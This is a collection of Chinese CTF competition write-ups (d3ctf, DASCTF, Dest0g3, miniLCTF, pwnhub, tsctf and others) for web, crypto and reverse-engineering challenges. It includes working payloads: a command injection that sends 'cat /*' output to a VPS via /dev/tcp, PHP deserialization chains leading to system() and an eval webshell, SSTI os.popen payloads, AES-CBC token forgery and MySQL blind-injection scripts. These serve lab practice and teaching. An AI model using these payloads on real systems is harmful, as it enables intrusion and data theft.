d3ctf

(这里使用共享文档的wp)

公号第5名
d3ctf.png

calc

利用 os.system(log) ,反引号执行子命令
开头1#注释绕过eval,末尾<绕过重定向,制表符绕过空格,最后cat /*重定向到vps上
num=1%23%60cat%09/%2A%60%3E/dev/tcp/vpsip/2333%3C

ezpop

(这里使用共享文档的wp)

换行绕最后的#,flag在当前目录

$fin1=new fin();
$what=new what();
$fin2=new fin();
$crow=new crow();
$fin3=new fin();
$mix=new mix();
$mix->m1="\r\nsystem('cat ./*');";
$fin3->f1=$mix;
$crow->v1=$fin3;
$fin2->f1=$crow;
$what->a=$fin2;
$fin1->f1=$what;
$str=urlencode( serialize($fin1));
echo $str;

dasctf

团队赛35名
dasctf3.png

ezpop

<?php

class crow
{
public $v1;
public $v2;

function eval() {
    echo new $this->v1($this->v2);
}

public function __invoke()
{
    $this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
    echo $this->f1 . '114514';
}

public function run()
{
    ($this->f1)();
}

public function __call($a, $b)
{
    echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
    $this->a->run();
    return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
    ($this->m1)();
}

public function get_flag()
{
    eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}

构造payload

<?php
 class crow
{
  public $v1;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{ 
public $m1='?><?=eval($_POST[1]);';
}
$fin = new fin();
$b = new what();
$fin2 = new fin();
$c = new crow();
$fin3 = new fin();
$d = new mix();
$fin->f1 = $b;
$b->a = $fin2;
$fin2->f1 = $c;
$c->v1 = $fin3;
$fin3->f1 = $d;
echo serialize($fin);

得到flag

calc

(这里使用共享文档的wp)

题目:
/app.py

coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time

app=Flask(__name__)

def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
    if no.lower() in s.lower():
        flag= False
        print(no)
        break
return flag

@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

if waf(num):
    try:
        data = eval(num)
        os.system(log)
    except:
        pass
    return str(data)
else:
    return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)  
    

代码中waf(s)函数有很多的屏蔽词,但是没有屏蔽反引号,可以内联执行将反引号内命令的输出作为输入执行
构造payload并将回显反弹到服务器上

(我自己的服务器环境有问题,因此用了别人的服务器来监听)

root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 117.21.200.166 36271 received!
20220404-132944 10.244.80.46 1+2#Th1s_is__F1114g bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

找到flag位置

Dest0g3

个人赛693名
Dest0g3 520迎新赛.png

Welcome to fxxking DestCTF

关注微信公众号获取

EasyEncode

爆破密码后打开txt,很明显是摩斯电码,解密后得到十六进制,十六进制转ascii

使用base解密得到flag{Deoding_1s_e4sy_4_U}

phpdest

<?php
highlight_file(__FILE__);
require_once 'flag.php';
 if(isset($_GET['file'])) {
require_once($_GET['file']);
}

文件包含,绕 require_once,用burpsuite修改User-Agent为

然后用日志包含 ?file=/var/log/nginx/access.log 得到flag

EasyPHP

<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
    print $fl4g;
}
);
$fl4g .= $dest0g3;
?>

异常处理函数 use() 中输出flag,传参时传入数组即可触发异常:ctf[]=1。

SimpleRCE

<?php
 highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

黑名单绕过rce,用16进制编码绕过:aaa=hex2bin('73797374656d')('uniq /f*');

simpleXOR

main()代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
 int v4[72]; // [rsp+0h] [rbp-160h]
 char v5[52]; // [rsp+120h] [rbp-40h] BYREF
 int v6; // [rsp+154h] [rbp-Ch]
 unsigned int j; // [rsp+158h] [rbp-8h]
 int i; // [rsp+15Ch] [rbp-4h]

 v6 = 247;
 printf("input flag:");
 __isoc99_scanf("%s", v5);
 for ( i = 0; i <= 35; ++i )
{
v4[i + 36] = v5[i];
v4[i] = v6 ^ (v4[i + 36] + i);
}
for ( j = 0; j <= 0x23; ++j )
{
if ( v4[j] != result_0[j] )
{
  puts("Wrong!!!");
  return 0;
}
if ( j == 35 )
  puts("Success!!!");
 }
return 0;
}

先加下标值再异或247,最后校验密文,写出脚本:

c = [179, 145, 130, 128, 195, 155, 206, 117, 207, 156, 154, 133, 133, 205, 184, 132, 170, 125, 189, 187, 177, 181, 150, 113, 141, 158, 134, 191, 115, 168, 163, 156, 131, 101, 158, 87]
flag = [(c[i]^247)-i for i in range(len(c))]
print(bytes(flag))

b’Dest0g3{0bcgf-AdMy892-KobPW-hB6LTqG}’

miniLCTF

(这里使用共享文档的wp)

团队赛第十名
miniLCTF.png

checkin

可以看出这道题判断的方式是通过token判断是否为admin

func HomeController(c *gin.Context) {
token, err := c.Cookie("token")
if err != nil {
    c.Redirect(http.StatusFound, "/")
}
jsonUser, _ := utils.TokenDecrypt(token)
user := models.User{}
_ = json.Unmarshal([]byte(jsonUser), &user)
if user.Name == "admin" {
    file, _ := os.Open("/flag")
    defer file.Close()
    content, _ := ioutil.ReadAll(file)
    _, _ = c.Writer.WriteString(string(content))
} else {
    _, _ = c.Writer.WriteString("Only admin can get the secret!")
}
}

通过源码可以知道token是经过解密后判断user.Name字段是否为admin,如果是admin就直接打开flag

token加密

func TokenEncrypt(user []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
    return "", err
}
blockSize := block.BlockSize()
originData := pad(user, blockSize)
blockMode := cipher.NewCBCEncrypter(block, iv)
encrypted := make([]byte, len(originData))
blockMode.CryptBlocks(encrypted, originData)
return base64.StdEncoding.EncodeToString(append([]byte(config.IV), encrypted...)), nil
}

aes加密,cbc模式,最后将iv和密文拼接后得到token

到了这一步可以联想到aes算法的cbc翻转攻击,通过改变上一组的密文来使当前组的密文解密结果发送变化

func IndexController(c *gin.Context) {
_, err := c.Cookie("token")
if err == nil {
    c.Redirect(http.StatusFound, "/home")
}
user := models.User{Name: "guest", CreateAt: time.Now().Unix(), IP: c.ClientIP()}
jsonUser, _ := json.Marshal(user)
token, _ := utils.TokenEncrypt(jsonUser)
c.SetCookie("token", token, 3600, "/", "", false, true)
c.Redirect(http.StatusFound, "/home")
}

继续从源码中发现Name为guest,所以只需要将guest换为admin

下面为解题脚本

import base64
from urllib import parse

   plain='{"Name":"guest","CreateAt":1651386949,"IP":"127.0.0.1"}'
  tx = [123, 34, 78, 97, 109, 101, 34, 58, 34, 103, 117, 101, 115, 116, 34, 44, 34, 67, 114, 101, 97, 116, 101, 65, 116, 34, 58, 49, 54, 53, 49, 51, 56, 54, 57, 52, 57, 44, 34, 73, 80, 34, 58, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 34, 125]
  token="MDAwMTE0NTE0MTkxOTgxMOSJAwAU25w%2BxwD1vPGvUJHg5CSOXQDhJ9gGync9G1%2FlP5S4EDx%2FeZt3YoDMGWsjKSPLSoF4SsROuNB1J2yVfHI%3D"
  token=parse.unquote(token)
  origin=base64.b64decode(token)
  for i in range(len(tx)):
    print(chr(tx[i]), end='')
        print()
   vi=bytearray(origin[:16])
 cipher=origin[16:]
    print(vi)

 vi[9]=vi[9]^ord('g')^ord('a')
 vi[10]=vi[10]^ord('u')^ord('d')
 vi[11]=vi[11]^ord('e')^ord('m')
 vi[12]=vi[12]^ord('s')^ord('i')
 vi[13]=vi[13]^ord('t')^ord('n')
 print(vi)

new_iv=bytes(vi)
print(parse.quote(base64.b64encode(new_iv+cipher)))

mini_sql ##(这里使用共享文档的wp)

一道简洁的sql注入题目,目的明确,注出用户名密码登陆后即可得到flag

注释中给出sql语句 ,本题过滤了#注释符和单引号,无法将语句提前闭合,可以在用户名处以反斜杠\结尾,将username之后的单引号注释,从而让password处的内容全部连接到sql语句中,这是常规注入方式

or被过滤 =>||代替

‘#’被过滤 =>;%00代替

substr被过滤 =>mid代替

||ascii(mid(version(),{i},1))={j};%00

用这种形式的payload可以注出版本号(8.0.xxx)以及库名(ctf)

但本题的盲注由于select被过滤,所以无法继续,尝试大小写和截断均无法绕过

select被过滤一般只有在堆叠注入的情况下才可以绕过,除了极个别不需要select可以直接用password或者flag进行查询的情况

预编译注入

Handler查询

但经过尝试后均失败,本题无法堆叠注入

||ascii(mid(username,{i},1))={j};%00
尝试用简化查询语句,发现可以注出username,
但我继续注password时发现因为or的过滤导致语句无法通过,本题差一点点被非预期

MYSQL8.0注入新特性

当所有的常规方法用完后,终于发现了一条新路线,利用mysql8.0的新特性进行注入,

这里我们使用两个新的关键字table和values进行注入

def dump():
password='cd51c1005cab68be2f7e6112a4de3e89'
for j in str_range:
    #payload=f"||ascii(mid(username,{i},1))={j};%00"#||ascii(mid((table users limit 0,1),1,1))>1;
    payload=f'||(table users limit 1)>=(1,"w3lc0me_t0_m1n1lct5","{password+chr(j)}");%00'
    mydata = {'username': '1\\',
              'password': unquote(payload)
              }
    txt = requests.post(url, data=mydata).text
    print(txt,chr(j))

类似于无列名注入,得到账号密码后登录获取flag

pwnhub5月公开赛

pwnhub5月公开赛.png

TemplatePlay

进入题目查看源代码可以发现一个js文件为user-agent.js
打开可以发现是一个判断条件,其中user-agent要求为Admin/5.0
可以发现这里有注入,
构造payload

{{g.pop.__globals__.__builtins__['__import__']('os').popen('find / -name "flag*"').read()}}

查看flag位置

知道位置后

构造payload为

{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /www/config/flag.txt').read()}}

拿到flag{833ebf704d6221bf0566bf99248dc701}

tsctf

团队赛第六名
tsctf.png

BabyPHP

(这里引用当时公共文档的wp)

![_3P@7NEQ)8JPQDRH07SX`Q.png](https://s2.loli.net/2022/06/11/EW8G3IPxtw1hOTY.png)

扫描根目录发现www.zip泄露得到源码

upload.php

$dst = '/var/www/html/不告诉你';
$fileinfo = array($_FILES["file"]["name"],$dst);
if (file_exists("$fileinfo[1]/$fileinfo[0]"))
{
echo $fileinfo[0] . " has already existed :)";
}
else
{
$cat->data=$fileinfo[0];
$cat->upload_check();
move_uploaded_file($_FILES["file"]["tmp_name"],"$fileinfo[1]/$fileinfo[0]");
$msg="file name:%s";
foreach($fileinfo as $key => $value)
{
    $msg = sprintf($msg, $value);                  
}
echo $msg;
}

上传路径$dst放在了$fileinfo[1]中,想要foreach输出上传路径就要让$fileinfo[0]包含字符串%s,从而在第二次循环中输出路径

Q7{B(P$_LW(YJT%_B4VJ@FM.png

注释中有提示!– /var/www/html/blablabla/cat.php –

合理猜测路径为/var/www/html/y0u_wi1l_n3v3r_f1nd/cat.php,由于cat.php没用给出源码,在注释中可以看到

可以猜测cat.php的源码是用vim来恢复得到,访问/.cat.php.swp得到临时文件,再用vim -r恢复一下就可以得到源码

审计代码可知spl_autoload_register();可以自动加载未定义的类,而后面又有filenames参数的反序列化,可以先上传恶意文件,再用反序列化读取,触发恶意代码,spl_autoload_register();支持的文件类型有.inc和.php,由于文件上传处php被ban了,所以只能上传inc文件,再用反序列化去触发,可以先传一个phpinfo探路

想要反序列化就必须满足传入的参数小于8位,原本的O:1:”p”:0:{}可以缩减成O:1:”p”:恰好8位,成功触发后查看一下禁用函数,发现system不能用,换一换其他函数

PRW9_R1~TH%2${ALYB%NDX.png

魔塔

正常把游戏玩通关得到四分之三flag

猜出flag剩余部分为enjoy

VNCTF

个人赛421名
VNCTF.png

GameV4.0

找到源代码js文件中data.js搜索flag发现base64加密后的字符串,解码后即可得到flag

gocalc0

整理整个calc的源码

package main

import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"

"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)

var tpl string

//go:embed main.go
var source string

type Eval struct {
E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {
    return "", err
}
t := reflect.ValueOf(result).Type().Kind()

if t == reflect.Int {
    return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
    return result.(string), nil
} else {
    return "", fmt.Errorf("not valid type")
}
}

func (e Eval) String() string {
res, err := e.Result()
if err != nil {
    fmt.Println(err)
    res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
session := sessions.Default(c)

var his string

if session.Get("history") == nil {
    his = ""
} else {
    his = session.Get("history").(string)
}

fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
    fmt.Println(err)
    c.String(500, "internal error")
    return
}
if err := t.Execute(c.Writer, map[string]string{
    "s0uR3e": source,
}); err != nil {
    fmt.Println(err)
}
}
func main() {
port := os.Getenv("PORT")
if port == "" {
    port = "8080"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
    render(c)
})
r.GET("/flag", func(c *gin.Context) {
    session := sessions.Default(c)
    session.Set("FLAG", os.Getenv("FLAG"))
    session.Save()
    c.String(200, "flag is in your session")
})

r.POST("/", func(c *gin.Context) {
    session := sessions.Default(c)

    var his string

    if session.Get("history") == nil {
        his = ""
    } else {
        his = session.Get("history").(string)
    }
    eval := Eval{}
    if err := c.ShouldBind(&eval); err == nil {
        his = his + eval.String() + "<br/>"
    }
    session.Set("history", his)
    session.Save()
    render(c)
})
r.Run(fmt.Sprintf(":%s", port))
}

进行一下删减

package main

import (
_ "embed"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"os"
)

func main() {
port := os.Getenv("PORT")
if port == "" {
    port = "8888" //这个port可以自己指定奥
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {
    session := sessions.Default(c)
    c.String(200, session.Get("FLAG").(string))
})
r.Run(":8888")
}

后续思路卡住没有做出来

Access Denied CTF2022

国外组队赛 271名
Access Denied CTF2022.png

misc签到题

加入官方discord频道即可

web文件上传

仅能上传png,jpg和gif文件,但是对文件路径没有思路